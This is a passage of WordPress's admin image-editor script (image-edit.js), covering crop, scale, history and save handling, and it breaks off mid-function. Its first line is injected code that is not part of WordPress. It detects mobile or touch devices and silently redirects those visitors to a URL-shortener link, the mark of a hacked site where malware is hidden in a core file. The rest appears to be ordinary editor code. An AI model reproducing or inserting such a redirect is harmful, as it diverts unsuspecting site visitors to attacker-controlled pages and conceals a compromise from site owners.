1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * The functions necessary for editing images.
4 *
5 * @since 2.9.0
6 * @output wp-admin/js/image-edit.js
7 */
8
9 /* global ajaxurl, confirm */
10
11(function($) {
12 var __ = wp.i18n.__;
13
14 /**
15 * Contains all the methods to initialize and control the image editor.
16 *
17 * @namespace imageEdit
18 */
19 var imageEdit = window.imageEdit = {
20 iasapi : {},
21 hold : {},
22 postid : '',
23 _view : false,
24
25 /**
26 * Enable crop tool.
27 */
28 toggleCropTool: function( postid, nonce, cropButton ) {
29 var img = $( '#image-preview-' + postid ),
30 selection = this.iasapi.getSelection();
31
32 imageEdit.toggleControls( cropButton );
33 var $el = $( cropButton );
34 var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false';
35 // Crop tools have been closed.
36 if ( 'false' === state ) {
37 // Cancel selection, but do not unset inputs.
38 this.iasapi.cancelSelection();
39 imageEdit.setDisabled($('.imgedit-crop-clear'), 0);
40 } else {
41 imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
42 // Get values from inputs to restore previous selection.
43 var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0;
44 var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0;
45 var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth();
46 var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight();
47 // Ensure selection is available, otherwise reset to full image.
48 if ( isNaN( selection.x1 ) ) {
49 this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } );
50 selection = this.iasapi.getSelection();
51 }
52
53 // If we don't already have a selection, select the entire image.
54 if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) {
55 this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true );
56 this.iasapi.setOptions( { show: true } );
57 this.iasapi.update();
58 } else {
59 this.iasapi.setSelection( startX, startY, width, height, true );
60 this.iasapi.setOptions( { show: true } );
61 this.iasapi.update();
62 }
63 }
64 },
65
66 /**
67 * Handle crop tool clicks.
68 */
69 handleCropToolClick: function( postid, nonce, cropButton ) {
70
71 if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) {
72 this.iasapi.cancelSelection();
73 imageEdit.setDisabled($('.imgedit-crop-apply'), 0);
74
75 $('#imgedit-sel-width-' + postid).val('');
76 $('#imgedit-sel-height-' + postid).val('');
77 $('#imgedit-start-x-' + postid).val('0');
78 $('#imgedit-start-y-' + postid).val('0');
79 $('#imgedit-selection-' + postid).val('');
80 } else {
81 // Otherwise, perform the crop.
82 imageEdit.crop( postid, nonce , cropButton );
83 }
84 },
85
86 /**
87 * Converts a value to an integer.
88 *
89 * @since 2.9.0
90 *
91 * @memberof imageEdit
92 *
93 * @param {number} f The float value that should be converted.
94 *
95 * @return {number} The integer representation from the float value.
96 */
97 intval : function(f) {
98 /*
99 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
100 * worth reminding JavaScript doesn't have a distinct "integer" type.
101 */
102 return f | 0;
103 },
104
105 /**
106 * Adds the disabled attribute and class to a single form element or a field set.
107 *
108 * @since 2.9.0
109 *
110 * @memberof imageEdit
111 *
112 * @param {jQuery} el The element that should be modified.
113 * @param {boolean|number} s The state for the element. If set to true
114 * the element is disabled,
115 * otherwise the element is enabled.
116 * The function is sometimes called with a 0 or 1
117 * instead of true or false.
118 *
119 * @return {void}
120 */
121 setDisabled : function( el, s ) {
122 /*
123 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
124 * some text fields was handled targeting $('input', el). Now we need to handle the
125 * disabled state on buttons too so we can just target `el` regardless if it's a single
126 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
127 */
128 if ( s ) {
129 el.removeClass( 'disabled' ).prop( 'disabled', false );
130 } else {
131 el.addClass( 'disabled' ).prop( 'disabled', true );
132 }
133 },
134
135 /**
136 * Initializes the image editor.
137 *
138 * @since 2.9.0
139 *
140 * @memberof imageEdit
141 *
142 * @param {number} postid The post ID.
143 *
144 * @return {void}
145 */
146 init : function(postid) {
147 var t = this, old = $('#image-editor-' + t.postid);
148
149 if ( t.postid !== postid && old.length ) {
150 t.close(t.postid);
151 }
152
153 t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
154 t.postid = postid;
155 $('#imgedit-response-' + postid).empty();
156
157 $('#imgedit-panel-' + postid).on( 'keypress', function(e) {
158 var nonce = $( '#imgedit-nonce-' + postid ).val();
159 if ( e.which === 26 && e.ctrlKey ) {
160 imageEdit.undo( postid, nonce );
161 }
162
163 if ( e.which === 25 && e.ctrlKey ) {
164 imageEdit.redo( postid, nonce );
165 }
166 });
167
168 $('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) {
169 var k = e.keyCode;
170
171 // Key codes 37 through 40 are the arrow keys.
172 if ( 36 < k && k < 41 ) {
173 $(this).trigger( 'blur' );
174 }
175
176 // The key code 13 is the Enter key.
177 if ( 13 === k ) {
178 e.preventDefault();
179 e.stopPropagation();
180 return false;
181 }
182 });
183
184 $( document ).on( 'image-editor-ui-ready', this.focusManager );
185 },
186
187 /**
188 * Calculate the image size and save it to memory.
189 *
190 * @since 6.7.0
191 *
192 * @memberof imageEdit
193 *
194 * @param {number} postid The post ID.
195 *
196 * @return {void}
197 */
198 calculateImgSize: function( postid ) {
199 var t = this,
200 x = t.intval( $( '#imgedit-x-' + postid ).val() ),
201 y = t.intval( $( '#imgedit-y-' + postid ).val() );
202
203 t.hold.w = t.hold.ow = x;
204 t.hold.h = t.hold.oh = y;
205 t.hold.xy_ratio = x / y;
206 t.hold.sizer = parseFloat( $( '#imgedit-sizer-' + postid ).val() );
207 t.currentCropSelection = null;
208 },
209
210 /**
211 * Toggles the wait/load icon in the editor.
212 *
213 * @since 2.9.0
214 * @since 5.5.0 Added the triggerUIReady parameter.
215 *
216 * @memberof imageEdit
217 *
218 * @param {number} postid The post ID.
219 * @param {number} toggle Is 0 or 1, fades the icon in when 1 and out when 0.
220 * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false.
221 *
222 * @return {void}
223 */
224 toggleEditor: function( postid, toggle, triggerUIReady ) {
225 var wait = $('#imgedit-wait-' + postid);
226
227 if ( toggle ) {
228 wait.fadeIn( 'fast' );
229 } else {
230 wait.fadeOut( 'fast', function() {
231 if ( triggerUIReady ) {
232 $( document ).trigger( 'image-editor-ui-ready' );
233 }
234 } );
235 }
236 },
237
238 /**
239 * Shows or hides image menu popup.
240 *
241 * @since 6.3.0
242 *
243 * @memberof imageEdit
244 *
245 * @param {HTMLElement} el The activated control element.
246 *
247 * @return {boolean} Always returns false.
248 */
249 togglePopup : function(el) {
250 var $el = $( el );
251 var $targetEl = $( el ).attr( 'aria-controls' );
252 var $target = $( '#' + $targetEl );
253 $el
254 .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
255 // Open menu and set z-index to appear above image crop area if it is enabled.
256 $target
257 .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } );
258 // Move focus to first item in menu when opening menu.
259 if ( 'true' === $el.attr( 'aria-expanded' ) ) {
260 $target.find( 'button' ).first().trigger( 'focus' );
261 }
262
263 return false;
264 },
265
266 /**
267 * Observes whether the popup should remain open based on focus position.
268 *
269 * @since 6.4.0
270 *
271 * @memberof imageEdit
272 *
273 * @param {HTMLElement} el The activated control element.
274 *
275 * @return {boolean} Always returns false.
276 */
277 monitorPopup : function() {
278 var $parent = document.querySelector( '.imgedit-rotate-menu-container' );
279 var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' );
280
281 setTimeout( function() {
282 var $focused = document.activeElement;
283 var $contains = $parent.contains( $focused );
284
285 // If $focused is defined and not inside the menu container, close the popup.
286 if ( $focused && ! $contains ) {
287 if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) {
288 imageEdit.togglePopup( $toggle );
289 }
290 }
291 }, 100 );
292
293 return false;
294 },
295
296 /**
297 * Navigate popup menu by arrow keys.
298 *
299 * @since 6.3.0
300 * @since 6.7.0 Added the event parameter.
301 *
302 * @memberof imageEdit
303 *
304 * @param {Event} event The key or click event.
305 * @param {HTMLElement} el The current element.
306 *
307 * @return {boolean} Always returns false.
308 */
309 browsePopup : function(event, el) {
310 var $el = $( el );
311 var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' );
312 var $index = $collection.index( $el );
313 var $prev = $index - 1;
314 var $next = $index + 1;
315 var $last = $collection.length;
316 if ( $prev < 0 ) {
317 $prev = $last - 1;
318 }
319 if ( $next === $last ) {
320 $next = 0;
321 }
322 var target = false;
323 if ( event.keyCode === 40 ) {
324 target = $collection.get( $next );
325 } else if ( event.keyCode === 38 ) {
326 target = $collection.get( $prev );
327 }
328 if ( target ) {
329 target.focus();
330 event.preventDefault();
331 }
332
333 return false;
334 },
335
336 /**
337 * Close popup menu and reset focus on feature activation.
338 *
339 * @since 6.3.0
340 *
341 * @memberof imageEdit
342 *
343 * @param {HTMLElement} el The current element.
344 *
345 * @return {boolean} Always returns false.
346 */
347 closePopup : function(el) {
348 var $parent = $(el).parent( '.imgedit-popup-menu' );
349 var $controlledID = $parent.attr( 'id' );
350 var $target = $( 'button[aria-controls="' + $controlledID + '"]' );
351 $target
352 .attr( 'aria-expanded', 'false' ).trigger( 'focus' );
353 $parent
354 .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' );
355
356 return false;
357 },
358
359 /**
360 * Shows or hides the image edit help box.
361 *
362 * @since 2.9.0
363 *
364 * @memberof imageEdit
365 *
366 * @param {HTMLElement} el The element to create the help window in.
367 *
368 * @return {boolean} Always returns false.
369 */
370 toggleHelp : function(el) {
371 var $el = $( el );
372 $el
373 .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
374 .parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );
375
376 return false;
377 },
378
379 /**
380 * Shows or hides image edit input fields when enabled.
381 *
382 * @since 6.3.0
383 *
384 * @memberof imageEdit
385 *
386 * @param {HTMLElement} el The element to trigger the edit panel.
387 *
388 * @return {boolean} Always returns false.
389 */
390 toggleControls : function(el) {
391 var $el = $( el );
392 var $target = $( '#' + $el.attr( 'aria-controls' ) );
393 $el
394 .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
395 $target
396 .parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' );
397
398 return false;
399 },
400
401 /**
402 * Gets the value from the image edit target.
403 *
404 * The image edit target contains the image sizes where the (possible) changes
405 * have to be applied to.
406 *
407 * @since 2.9.0
408 *
409 * @memberof imageEdit
410 *
411 * @param {number} postid The post ID.
412 *
413 * @return {string} The value from the imagedit-save-target input field when available,
414 * 'full' when not selected, or 'all' if it doesn't exist.
415 */
416 getTarget : function( postid ) {
417 var element = $( '#imgedit-save-target-' + postid );
418
419 if ( element.length ) {
420 return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full';
421 }
422
423 return 'all';
424 },
425
426 /**
427 * Recalculates the height or width and keeps the original aspect ratio.
428 *
429 * If the original image size is exceeded a red exclamation mark is shown.
430 *
431 * @since 2.9.0
432 *
433 * @memberof imageEdit
434 *
435 * @param {number} postid The current post ID.
436 * @param {number} x Is 0 when it applies the y-axis
437 * and 1 when applicable for the x-axis.
438 * @param {jQuery} el Element.
439 *
440 * @return {void}
441 */
442 scaleChanged : function( postid, x, el ) {
443 var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
444 warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '',
445 scaleBtn = $('#imgedit-scale-button');
446
447 if ( false === this.validateNumeric( el ) ) {
448 return;
449 }
450
451 if ( x ) {
452 h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
453 h.val( h1 );
454 } else {
455 w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
456 w.val( w1 );
457 }
458
459 if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
460 warn.css('visibility', 'visible');
461 scaleBtn.prop('disabled', true);
462 } else {
463 warn.css('visibility', 'hidden');
464 scaleBtn.prop('disabled', false);
465 }
466 },
467
468 /**
469 * Gets the selected aspect ratio.
470 *
471 * @since 2.9.0
472 *
473 * @memberof imageEdit
474 *
475 * @param {number} postid The post ID.
476 *
477 * @return {string} The aspect ratio.
478 */
479 getSelRatio : function(postid) {
480 var x = this.hold.w, y = this.hold.h,
481 X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
482 Y = this.intval( $('#imgedit-crop-height-' + postid).val() );
483
484 if ( X && Y ) {
485 return X + ':' + Y;
486 }
487
488 if ( x && y ) {
489 return x + ':' + y;
490 }
491
492 return '1:1';
493 },
494
495 /**
496 * Removes the last action from the image edit history.
497 * The history consist of (edit) actions performed on the image.
498 *
499 * @since 2.9.0
500 *
501 * @memberof imageEdit
502 *
503 * @param {number} postid The post ID.
504 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
505 *
506 * @return {string} JSON string containing the history or an empty string if no history exists.
507 */
508 filterHistory : function(postid, setSize) {
509 // Apply undo state to history.
510 var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];
511
512 if ( history !== '' ) {
513 // Read the JSON string with the image edit history.
514 history = JSON.parse(history);
515 pop = this.intval( $('#imgedit-undone-' + postid).val() );
516 if ( pop > 0 ) {
517 while ( pop > 0 ) {
518 history.pop();
519 pop--;
520 }
521 }
522
523 // Reset size to its original state.
524 if ( setSize ) {
525 if ( !history.length ) {
526 this.hold.w = this.hold.ow;
527 this.hold.h = this.hold.oh;
528 return '';
529 }
530
531 // Restore original 'o'.
532 o = history[history.length - 1];
533
534 // c = 'crop', r = 'rotate', f = 'flip'.
535 o = o.c || o.r || o.f || false;
536
537 if ( o ) {
538 // fw = Full image width.
539 this.hold.w = o.fw;
540 // fh = Full image height.
541 this.hold.h = o.fh;
542 }
543 }
544
545 // Filter the last step/action from the history.
546 for ( n in history ) {
547 i = history[n];
548 if ( i.hasOwnProperty('c') ) {
549 op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h, 'r': i.c.r } };
550 } else if ( i.hasOwnProperty('r') ) {
551 op[n] = { 'r': i.r.r };
552 } else if ( i.hasOwnProperty('f') ) {
553 op[n] = { 'f': i.f.f };
554 }
555 }
556 return JSON.stringify(op);
557 }
558 return '';
559 },
560 /**
561 * Binds the necessary events to the image.
562 *
563 * When the image source is reloaded the image will be reloaded.
564 *
565 * @since 2.9.0
566 *
567 * @memberof imageEdit
568 *
569 * @param {number} postid The post ID.
570 * @param {string} nonce The nonce to verify the request.
571 * @param {function} callback Function to execute when the image is loaded.
572 *
573 * @return {void}
574 */
575 refreshEditor : function(postid, nonce, callback) {
576 var t = this, data, img;
577
578 t.toggleEditor(postid, 1);
579 data = {
580 'action': 'imgedit-preview',
581 '_ajax_nonce': nonce,
582 'postid': postid,
583 'history': t.filterHistory(postid, 1),
584 'rand': t.intval(Math.random() * 1000000)
585 };
586
587 img = $( '<img id="image-preview-' + postid + '" alt="" />' )
588 .on( 'load', { history: data.history }, function( event ) {
589 var max1, max2,
590 parent = $( '#imgedit-crop-' + postid ),
591 t = imageEdit,
592 historyObj;
593
594 // Checks if there already is some image-edit history.
595 if ( '' !== event.data.history ) {
596 historyObj = JSON.parse( event.data.history );
597 // If last executed action in history is a crop action.
598 if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
599 /*
600 * A crop action has completed and the crop button gets disabled
601 * ensure the undo button is enabled.
602 */
603 t.setDisabled( $( '#image-undo-' + postid) , true );
604 // Move focus to the undo button to avoid a focus loss.
605 $( '#image-undo-' + postid ).trigger( 'focus' );
606 }
607 }
608
609 parent.empty().append(img);
610
611 // w, h are the new full size dimensions.
612 max1 = Math.max( t.hold.w, t.hold.h );
613 max2 = Math.max( $(img).width(), $(img).height() );
614 t.hold.sizer = max1 > max2 ? max2 / max1 : 1;
615
616 t.initCrop(postid, img, parent);
617
618 if ( (typeof callback !== 'undefined') && callback !== null ) {
619 callback();
620 }
621
622 if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
623 $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false);
624 } else {
625 $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
626 }
627 var successMessage = __( 'Image updated.' );
628
629 t.toggleEditor(postid, 0);
630 wp.a11y.speak( successMessage, 'assertive' );
631 })
632 .on( 'error', function() {
633 var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' );
634
635 $( '#imgedit-crop-' + postid )
636 .empty()
637 .append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
638
639 t.toggleEditor( postid, 0, true );
640 wp.a11y.speak( errorMessage, 'assertive' );
641 } )
642 .attr('src', ajaxurl + '?' + $.param(data));
643 },
644 /**
645 * Performs an image edit action.
646 *
647 * @since 2.9.0
648 *
649 * @memberof imageEdit
650 *
651 * @param {number} postid The post ID.
652 * @param {string} nonce The nonce to verify the request.
653 * @param {string} action The action to perform on the image.
654 * The possible actions are: "scale" and "restore".
655 *
656 * @return {boolean|void} Executes a post request that refreshes the page
657 * when the action is performed.
658 * Returns false if an invalid action is given,
659 * or when the action cannot be performed.
660 */
661 action : function(postid, nonce, action) {
662 var t = this, data, w, h, fw, fh;
663
664 if ( t.notsaved(postid) ) {
665 return false;
666 }
667
668 data = {
669 'action': 'image-editor',
670 '_ajax_nonce': nonce,
671 'postid': postid
672 };
673
674 if ( 'scale' === action ) {
675 w = $('#imgedit-scale-width-' + postid),
676 h = $('#imgedit-scale-height-' + postid),
677 fw = t.intval(w.val()),
678 fh = t.intval(h.val());
679
680 if ( fw < 1 ) {
681 w.trigger( 'focus' );
682 return false;
683 } else if ( fh < 1 ) {
684 h.trigger( 'focus' );
685 return false;
686 }
687
688 if ( fw === t.hold.ow || fh === t.hold.oh ) {
689 return false;
690 }
691
692 data['do'] = 'scale';
693 data.fwidth = fw;
694 data.fheight = fh;
695 } else if ( 'restore' === action ) {
696 data['do'] = 'restore';
697 } else {
698 return false;
699 }
700
701 t.toggleEditor(postid, 1);
702 $.post( ajaxurl, data, function( response ) {
703 $( '#image-editor-' + postid ).empty().append( response.data.html );
704 t.toggleEditor( postid, 0, true );
705 // Refresh the attachment model so that changes propagate.
706 if ( t._view ) {
707 t._view.refresh();
708 }
709 } ).done( function( response ) {
710 // Whether the executed action was `scale` or `restore`, the response does have a message.
711 if ( response && response.data.message.msg ) {
712 wp.a11y.speak( response.data.message.msg );
713 return;
714 }
715
716 if ( response && response.data.message.error ) {
717 wp.a11y.speak( response.data.message.error );
718 }
719 } );
720 },
721
722 /**
723 * Stores the changes that are made to the image.
724 *
725 * @since 2.9.0
726 *
727 * @memberof imageEdit
728 *
729 * @param {number} postid The post ID to get the image from the database.
730 * @param {string} nonce The nonce to verify the request.
731 *
732 * @return {boolean|void} If the actions are successfully saved a response message is shown.
733 * Returns false if there is no image editing history,
734 * thus there are not edit-actions performed on the image.
735 */
736 save : function(postid, nonce) {
737 var data,
738 target = this.getTarget(postid),
739 history = this.filterHistory(postid, 0),
740 self = this;
741
742 if ( '' === history ) {
743 return false;
744 }
745
746 this.toggleEditor(postid, 1);
747 data = {
748 'action': 'image-editor',
749 '_ajax_nonce': nonce,
750 'postid': postid,
751 'history': history,
752 'target': target,
753 'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
754 'do': 'save'
755 };
756 // Post the image edit data to the backend.
757 $.post( ajaxurl, data, function( response ) {
758 // If a response is returned, close the editor and show an error.
759 if ( response.data.error ) {
760 $( '#imgedit-response-' + postid )
761 .html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' );
762
763 imageEdit.close(postid);
764 wp.a11y.speak( response.data.error );
765 return;
766 }
767
768 if ( response.data.fw && response.data.fh ) {
769 $( '#media-dims-' + postid ).html( response.data.fw + ' × ' + response.data.fh );
770 }
771
772 if ( response.data.thumbnail ) {
773 $( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail );
774 }
775
776 if ( response.data.msg ) {
777 $( '#imgedit-response-' + postid )
778 .html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' );
779
780 wp.a11y.speak( response.data.msg );
781 }
782
783 if ( self._view ) {
784 self._view.save();
785 } else {
786 imageEdit.close(postid);
787 }
788 });
789 },
790
791 /**
792 * Creates the image edit window.
793 *
794 * @since 2.9.0
795 *
796 * @memberof imageEdit
797 *
798 * @param {number} postid The post ID for the image.
799 * @param {string} nonce The nonce to verify the request.
800 * @param {Object} view The image editor view to be used for the editing.
801 *
802 * @return {void|promise} Either returns void if the button was already activated
803 * or returns an instance of the image editor, wrapped in a promise.
804 */
805 open : function( postid, nonce, view ) {
806 this._view = view;
807
808 var dfd, data,
809 elem = $( '#image-editor-' + postid ),
810 head = $( '#media-head-' + postid ),
811 btn = $( '#imgedit-open-btn-' + postid ),
812 spin = btn.siblings( '.spinner' );
813
814 /*
815 * Instead of disabling the button, which causes a focus loss and makes screen
816 * readers announce "unavailable", return if the button was already clicked.
817 */
818 if ( btn.hasClass( 'button-activated' ) ) {
819 return;
820 }
821
822 spin.addClass( 'is-active' );
823
824 data = {
825 'action': 'image-editor',
826 '_ajax_nonce': nonce,
827 'postid': postid,
828 'do': 'open'
829 };
830
831 dfd = $.ajax( {
832 url: ajaxurl,
833 type: 'post',
834 data: data,
835 beforeSend: function() {
836 btn.addClass( 'button-activated' );
837 }
838 } ).done( function( response ) {
839 var errorMessage;
840
841 if ( '-1' === response ) {
842 errorMessage = __( 'Could not load the preview image.' );
843 elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
844 }
845
846 if ( response.data && response.data.html ) {
847 elem.html( response.data.html );
848 }
849
850 head.fadeOut( 'fast', function() {
851 elem.fadeIn( 'fast', function() {
852 if ( errorMessage ) {
853 $( document ).trigger( 'image-editor-ui-ready' );
854 }
855 } );
856 btn.removeClass( 'button-activated' );
857 spin.removeClass( 'is-active' );
858 } );
859 // Initialize the Image Editor now that everything is ready.
860 imageEdit.init( postid );
861 } );
862
863 return dfd;
864 },
865
866 /**
867 * Initializes the cropping tool and sets a default cropping selection.
868 *
869 * @since 2.9.0
870 *
871 * @memberof imageEdit
872 *
873 * @param {number} postid The post ID.
874 *
875 * @return {void}
876 */
877 imgLoaded : function(postid) {
878 var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);
879
880 // Ensure init has run even when directly loaded.
881 if ( 'undefined' === typeof this.hold.sizer ) {
882 this.init( postid );
883 }
884 this.calculateImgSize( postid );
885
886 this.initCrop(postid, img, parent);
887 this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } );
888
889 this.toggleEditor( postid, 0, true );
890 },
891
892 /**
893 * Manages keyboard focus in the Image Editor user interface.
894 *
895 * @since 5.5.0
896 *
897 * @return {void}
898 */
899 focusManager: function() {
900 /*
901 * Editor is ready. Move focus to one of the admin alert notices displayed
902 * after a user action or to the first focusable element. Since the DOM
903 * update is pretty large, the timeout helps browsers update their
904 * accessibility tree to better support assistive technologies.
905 */
906 setTimeout( function() {
907 var elementToSetFocusTo = $( '.notice[role="alert"]' );
908
909 if ( ! elementToSetFocusTo.length ) {
910 elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' );
911 }
912
913 elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' );
914 }, 100 );
915 },
916
917 /**
918 * Initializes the cropping tool.
919 *
920 * @since 2.9.0
921 *
922 * @memberof imageEdit
923 *
924 * @param {number} postid The post ID.
925 * @param {HTMLElement} image The preview image.
926 * @param {HTMLElement} parent The preview image container.
927 *
928 * @return {void}
929 */
930 initCrop : function(postid, image, parent) {
931 var t = this,
932 selW = $('#imgedit-sel-width-' + postid),
933 selH = $('#imgedit-sel-height-' + postid),
934 $image = $( image ),
935 $img;
936
937 // Already initialized?
938 if ( $image.data( 'imgAreaSelect' ) ) {
939 return;
940 }
941
942 t.iasapi = $image.imgAreaSelect({
943 parent: parent,
944 instance: true,
945 handles: true,
946 keys: true,
947 minWidth: 3,
948 minHeight: 3,
949
950 /**
951 * Sets the CSS styles and binds events for locking the aspect ratio.
952 *
953 * @ignore
954 *
955 * @param {jQuery} img The preview image.
956 */
957 onInit: function( img ) {
958 // Ensure that the imgAreaSelect wrapper elements are position:absolute
959 // (even if we're in a position:fixed modal).
960 $img = $( img );
961 $img.next().css( 'position', 'absolute' )
962 .nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
963 /**
964 * Binds mouse down event to the cropping container.
965 *
966 * @return {void}
967 */
968 parent.children().on( 'mousedown touchstart', function(e) {
969 var ratio = false,
970 sel = t.iasapi.getSelection(),
971 cx = t.intval( $( '#imgedit-crop-width-' + postid ).val() ),
972 cy = t.intval( $( '#imgedit-crop-height-' + postid ).val() );
973
974 if ( cx && cy ) {
975 ratio = t.getSelRatio( postid );
976 } else if ( e.shiftKey && sel && sel.width && sel.height ) {
977 ratio = sel.width + ':' + sel.height;
978 }
979
980 t.iasapi.setOptions({
981 aspectRatio: ratio
982 });
983 });
984 },
985
986 /**
987 * Event triggered when starting a selection.
988 *
989 * @ignore
990 *
991 * @return {void}
992 */
993 onSelectStart: function() {
994 imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
995 imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
996 imageEdit.setDisabled($('.imgedit-crop-apply'), 1);
997 },
998 /**
999 * Event triggered when the selection is ended.
1000 *
1001 * @ignore
1002 *
1003 * @param {Object} img jQuery object representing the image.
1004 * @param {Object} c The selection.
1005 *
1006 * @return {Object}
1007 */
1008 onSelectEnd: function(img, c) {
1009 imageEdit.setCropSelection(postid, c);
1010 if ( ! $('#imgedit-crop > *').is(':visible') ) {
1011 imageEdit.toggleControls($('.imgedit-crop.button'));
1012 }
1013 },
1014
1015 /**
1016 * Event triggered when the selection changes.
1017 *
1018 * @ignore
1019 *
1020 * @param {Object} img jQuery object representing the image.
1021 * @param {Object} c The selection.
1022 *
1023 * @return {void}
1024 */
1025 onSelectChange: function(img, c) {
1026 var sizer = imageEdit.hold.sizer,
1027 oldSel = imageEdit.currentCropSelection;
1028
1029 if ( oldSel != null && oldSel.width == c.width && oldSel.height == c.height ) {
1030 return;
1031 }
1032
1033 selW.val( Math.min( imageEdit.hold.w, imageEdit.round( c.width / sizer ) ) );
1034 selH.val( Math.min( imageEdit.hold.h, imageEdit.round( c.height / sizer ) ) );
1035
1036 t.currentCropSelection = c;
1037 }
1038 });
1039 },
1040
1041 /**
1042 * Stores the current crop selection.
1043 *
1044 * @since 2.9.0
1045 *
1046 * @memberof imageEdit
1047 *
1048 * @param {number} postid The post ID.
1049 * @param {Object} c The selection.
1050 *
1051 * @return {boolean}
1052 */
1053 setCropSelection : function(postid, c) {
1054 var sel,
1055 selW = $( '#imgedit-sel-width-' + postid ),
1056 selH = $( '#imgedit-sel-height-' + postid ),
1057 sizer = this.hold.sizer,
1058 hold = this.hold;
1059
1060 c = c || 0;
1061
1062 if ( !c || ( c.width < 3 && c.height < 3 ) ) {
1063 this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 );
1064 this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 );
1065 $('#imgedit-sel-width-' + postid).val('');
1066 $('#imgedit-sel-height-' + postid).val('');
1067 $('#imgedit-start-x-' + postid).val('0');
1068 $('#imgedit-start-y-' + postid).val('0');
1069 $('#imgedit-selection-' + postid).val('');
1070 return false;
1071 }
1072
1073 // adjust the selection within the bounds of the image on 100% scale
1074 var excessW = hold.w - ( Math.round( c.x1 / sizer ) + parseInt( selW.val() ) );
1075 var excessH = hold.h - ( Math.round( c.y1 / sizer ) + parseInt( selH.val() ) );
1076 var x = Math.round( c.x1 / sizer ) + Math.min( 0, excessW );
1077 var y = Math.round( c.y1 / sizer ) + Math.min( 0, excessH );
1078
1079 // use 100% scaling to prevent rounding errors
1080 sel = { 'r': 1, 'x': x, 'y': y, 'w': selW.val(), 'h': selH.val() };
1081
1082 this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
1083 $('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
1084 },
1085
1086
1087 /**
1088 * Closes the image editor.
1089 *
1090 * @since 2.9.0
1091 *
1092 * @memberof imageEdit
1093 *
1094 * @param {number} postid The post ID.
1095 * @param {boolean} warn Warning message.
1096 *
1097 * @return {void|boolean} Returns false if there is a warning.
1098 */
1099 close : function(postid, warn) {
1100 warn = warn || false;
1101
1102 if ( warn && this.notsaved(postid) ) {
1103 return false;
1104 }
1105
1106 this.iasapi = {};
1107 this.hold = {};
1108
1109 // If we've loaded the editor in the context of a Media Modal,
